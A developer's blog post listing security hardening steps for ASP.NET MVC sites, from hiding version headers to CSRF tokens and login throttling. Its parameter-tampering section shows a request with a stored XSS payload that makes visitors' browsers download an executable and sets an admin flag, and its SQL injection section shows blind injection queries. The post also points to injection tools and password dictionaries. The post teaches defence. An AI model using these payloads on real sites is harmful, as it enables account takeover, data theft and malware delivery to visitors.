A Developers List of security steps to take not to get hacked

1006
A Developers List of security steps to take not to get hacked

Security is becoming more front and center for developers as large organizations such as Sony, Ebay and even our NHS are being hacked. Having looked on the internet for a one stop guide on what a developer should do I relized it didnt exist! So I decided to write up my own complete guide on mitigation steps and best practices .NET developers should take. Please feel free to comment on anything I might have missed.

Young Hackers are hard to classify. They're probably just as diverse as the old hackers are. We're all over the map. - Larry Wall  (Creator of Perl)

Hiding Version Information

These headers can be used to help identify security flaws which may exist, they expose the underlying technology used in the headers. The request will contain something like so:

Server: Microsoft-IIS/8.0
X-AspNetMvc-Version: 3.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET

You can remove this by adding the following:

<httpruntime targetFramework="4.5.1" requestValidationMode="2.0" enableVersionHeader="false"></httpruntime>

As well as adding the following code into the Global.asax

MvcHandler.DisableMvcResponseHeader = true;

Reason:

Using information such as the version number hackers can begin to create a profile around your website. They can use sites such as ShodanHQ to find websites using outdated versions and then use websites like CveDetails to see what security vulnerabilities are prevalent in that version.

Securing cookies

Ensure cookies are always requested through https and turn on SSL. Note this will stop client side script from accessing the cookie:

<httpCookies httpOnlyCookies="true" requireSSL="true">

Reason:

Cookie content usually contains sensitive information and we should turn on Https and SSL when sending cookie information over a request.  The reason for this is because it opens up vulnerability's for a "man in the middle" style attack.

If you go to a coffee shop or at the airport, and you're using open wireless, I would use a VPN service that you could subscribe for 10 bucks a month. Everything is encrypted in an encryption tunnel, so a hacker cannot tamper with your connection. - Kevin Mitnick (Former Hacker)

Ensuring Valid Headers

Removing unsafe headers, checks for things like line breaks and dodgy characters:

<system.net>
	<settings>
		<httpWebRequest useUnsafeHeaderParsing="false"/>
	</settings>
<system.net>

Reason:

Prevents attackers from tampering with headers. When this property is set to false, the following validations are performed during HTTP parsing:

  • In end-of-line code, use CRLF; using CR or LF alone is not allowed.
  • Headers names should not have spaces in them.
  • If multiple status lines exist, all additional status lines are treated as malformed header name/value pairs.
  • The status line must have a status description, in addition to a status code.
  • Header names cannot have non-ASCII chars in them. This validation is performed whether this property is set to true or false.

When a protocol violation occurs, a WebException exception is thrown with the status set to ServerProtocolViolation. If the UseUnsafeHeaderParsing property is set to true, validation errors are ignored.

Ensure session is never stored in the URL

So in the example below the users session is stored in the URL (red section)

www.someunsecurewebsite.com/timelines/tKwICCWTBTURmEHHnSnqMQ/events/32145

Reason:

As the session is being used for both HTTP and HTTPS requests this again opens the website up for a "man in the middle” style attack. Tools like Wireshark aid hackers to be the man in the middle when on a shared network.

Cross-site request forgery

See the following link for more details: http://en.wikipedia.org/wiki/Cross-site_request_forgery

The exploitation of a site trusting its user’s browser. Unauthorised commands are transmitted from a user that the website trusts. E.g. You can do a post from a different website that posts data to the websites change password action, as the user might be authenticated in the browser it will change the users password.

This can be tackled in MVC by adding an anti forgery token to a login form and an attribute to the action:

//View
@Html.AntiForgeryToken() 

//Attribute above action
[ValidateAntiForgeryToken]

This will automatically check the token in the form matches with the token in the cookie to authenticate the user.

Reason:

Protects from Cross-site request forgery, also known as a one-click attack or session riding and abbreviated as CSRF or XSRF, is a type of malicious exploit of a website whereby unauthorized commands are transmitted from a user that the website trusts. Unlike cross-site scripting (XSS), which exploits the trust a user has for a particular site, CSRF exploits the trust that a site has in a user's browser.

Http Verb Tampering

Always be explicit about the request types accepted by simply apply the following tags into a controller

[HttpGet] 
public ActionResult ThisIsAGetOnly() 
{ 
} 

[HttpPost] 
public ActionResult ThisIsAPostOnly() 
{ 
}

Reason:

Http Verb Tampering occurs when an action result in a controller is not locked down to a GET or POST. Allowing someone to do a POST in an action that was intended to only be a GET can open up the function to SQL injection attack.

Ensureing correct context in HTML, CSS and JavaScript

Use the package AntiXSS (Microsoft Package) to ensure you are encoding to the correct context. So if its javascript you can do something like:

Encoder.JavaScriptEncoder(); 
Encoder.CssEncoder();

This ensures that when passing some like ‘It's Red’ through the view it outputs to:

Html: It&#39s Red

Javascript : It\x27s Red

CSS: It\000027s\000020Red

Reason:

By incorrectly encoding attackers are able to change content displayed on the view and could for example tack on unintended parameters.

Encrypting sensitive bits of your connection string

Create a website in IIS and run the following command:

Encrypt example:

 
aspnet_regiis -site "SITENAME" -app "/" -pe "PART OF CONFIG TO ENCODE"
 
aspnet_regiis -site "MyAwsomeProject.SuperSite.Web" -app "/" -pe "connectionString"

Decrypt example:

 
aspnet_regiis -site "SITENAME" -app "/" -pd "PART OF CONFIG TO ENCODE"
 
aspnet_regiis -site "MyAwsomeProject.SuperSite.Web" -app "/" -pd "connectionString"

Reason:

To hide sensitive information

Preventing click jacking

Add the following to the web config.

<httpProtocol>
	<customHeaders>
		<add name="X-Frame-Options" value="SAMEORIGIN" /> 
	</customHeaders>
</httpProtocol>

Reason:

Websites are at risk of a clickjacking attack when they allow content to be embedded within a frame. An attacker may use this risk to invisibly load the target website into their own site and trick users into clicking on links which they never intended to. Users are unaware because the CSS and HTML are altered to make it unrecognisable.  An "X-Frame-Options" header should be sent by the server to either deny framing of content, only allow it from the same origin or allow it from a trusted URIs.

This style of attack can also be overcome by the use of a authentication token.

Ensure any admin paths and error log pages are hidden from Search Crawlers

Simply use a robots.txt file to stop bots from crawling admin locations

Don’t expose packages like Elmah the way these guys have:

List of unsecure people who have implemented Elmah

Parameter Tampering

This is the process of copying a post to the server using fiddler and then tampering with the parameters to insert script attacks like so

POST http://www.someunsecurewebsite.com/api/v1/sign_up

Accept: */*

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Referer: http://www.someunsecurewebsite.com/register

Accept-Language: en-GB

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: www.someunsecurewebsite.com

Content-Length: 328

DNT: 1

Connection: Keep-Alive

Pragma: no-cache

Cookie: _my-story_session=ODZUSjJhci9aQVowbE9ISG56OW15LzdSaklDVjFwMEU1TlptcjEwT

EoxdWcwUUVmMkJra3ZHK0N5dnB1VEtNeURQS3NCUHVsK1hVY1l5aE5JUFFpOVc1QjlVbmZpL2N

rMW9ldkNIb1JwQmN4YTAwcnl1TjlJd1pyMHhGZVVweXFaNkJySVBwdU5ydzVzL2Q1bUJtTWJBPT0t

LVQxMktkMm5ESFdtWERlRWVFTmIxMFE9PQ%3D%3D--341882537009e979802720561bfdaad5e2dc1c28;

cookie-enabled=accepted; _ga=GA1.2.300095050.1417600193; _dc_gtm_UA-52085248-1=1; _gat_UA-52085248-1=1

Request Body:

user%5BfirstName%5D=bob3&user%5BlastName%5D=<script>location.href='http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe';</script>&user%5Bemail%5D=bobsanchez3%40gmail.com&user%5Bpassword%5D=password&user%5BpasswordConfirmation%5D=password&user%5Btos%5D=1&authenticity_token=h1V%2BXG7zFJ28jl0unJRiBBhq7lt75a4kW1PQ3ztr%2BpE%3D&isAdmin=true

In the example above whenever the users last name is displayed on the website the browser will try to download the exe on the client’s browser. Attackers can also be very sneaky by renaming the exe (putty.exe) to something related to the website.

Notice: I can also create as many users as I want through a script in fiddler.

Parameter tampering can also be done by disabling JavaScript which in turn disables the validation on the client side. MVC has built in support to tackle these style of attacks unless the developer has set ValidateRequest to false.

Fuzz Testing

You can use tools like Intruder21 to do some Fuzz testing. This tests automatically identifies all the parameters in a request and tries different combination of attacks. From SQL injection, XSS, to directory attacks. Google as a database of attacks (Fuzz DB) that can be loaded in to the tool: https://code.google.com/p/fuzzdb/

SQL Injection attacks

There are two types,

Explicit - Getting results rendered to the mark-up, or through unhandled exceptions.

Example attack:

The given URL www.someunsecurewebsite.com/people?name=bobsanchez&orderby=name would equate to a SQL statement like:

 
Select * from People
 
Where name = 'bobsanchez'
 
Order by name desc

The Given URL  www.someunsecurewebsite.com/people?name=bobsanchez' and password='foo'&orderby=name would equate to a SQL statement like so:

 
Select * from People
 
Where name = 'bobsanchez' and password = 'foo'
 
Order by name desc

Implicit (blind) - Test for response times, if it takes a while it’s false, else true.

Example attack:

 
Select * from People
 
Where name = 'bobsanchez' and password = 'foo'
 
Order by name,
 
Case when (select top 1 substring(name, 1, 1) from sys.tables) = 'a' then 1 else convert(int, 'x') end--
 
Desc

(select top 1 substring(name, 1, 1)  from sys.tables) = 'a' - bit by bit learning the table name

convert(int, 'x') - causes an error intentionally

Great tool called Havaj can be used to automate attacks and find out DB structure, location of admin pages,  as well as crack MD5 hash's all through a click of a button.

For applications that use ORMS such as Entity and nHibernate SQL injection is not really a problem as the underlying query that is generated used parameterized SQL. Whitelisting is also another method of avoiding this form of attack.

Resetting passwords – DOS Style on all members

Attackers can cause problems by doing an automated mass reset password on multiple accounts (DOS on user accounts). Should add a token in an email that’s tied to the user and has a time limit. Only after clicking on the link in the email can you change your password.

Hash your passwords

Never store actual password, always hash passwords with salts and use a secure encryption methods.

http://plaintextoffenders.com/page/2

Here is a list of broken hashing algorithms that should not be used for sensitive data:

http://en.wikipedia.org/wiki/Category:Broken_hash_functions

Log In Attempts - Bruteforce

Restrict the amount of failed logins to protect from brute force attacks.

  • Account lockout after x number of attacks
  • Restrict attempts by IP address
  • Identify the client and then slow down the rate at which they can try another attempt

Another major problem is password management. People use the same password on multiple sites, so when the hacker compromises one site, they have your password for everywhere else - Kevin Mitnick (Former Hacker)

Password dictionaries can be downloaded from sites like the following, to automate a brute force attack:

https://wiki.skullsecurity.org/Passwords

Conclusion

As a fellow developer I understand how security can sometimes become an afterthought by product owners, but after having looked at the list of steps to take most are either minor tweaks to settings, or good practices to keep in mind. Considering how most people use the same passwords for different websites poorly implemented security can have a detrimental effect on users as the hackers gain access into all manner of websites. Because of this I would say the usual excuse thrown "Its not a bank" no longer holds, and that developers/product owners should make more of an effort to understand the current practices hackers use and code accordingly.

The hacker community may be small, but it possesses the skills that are driving the global economies of the future. - Heather Brooke (Investigative journalist and campaigner)

I wanted to leave you with one final link that highlights how the rate at which hacking is becoming more prevalent and common with a beautiful infographic - http://www.informationisbeautiful.net/visualizations/worlds-biggest-data-breaches-hacks/.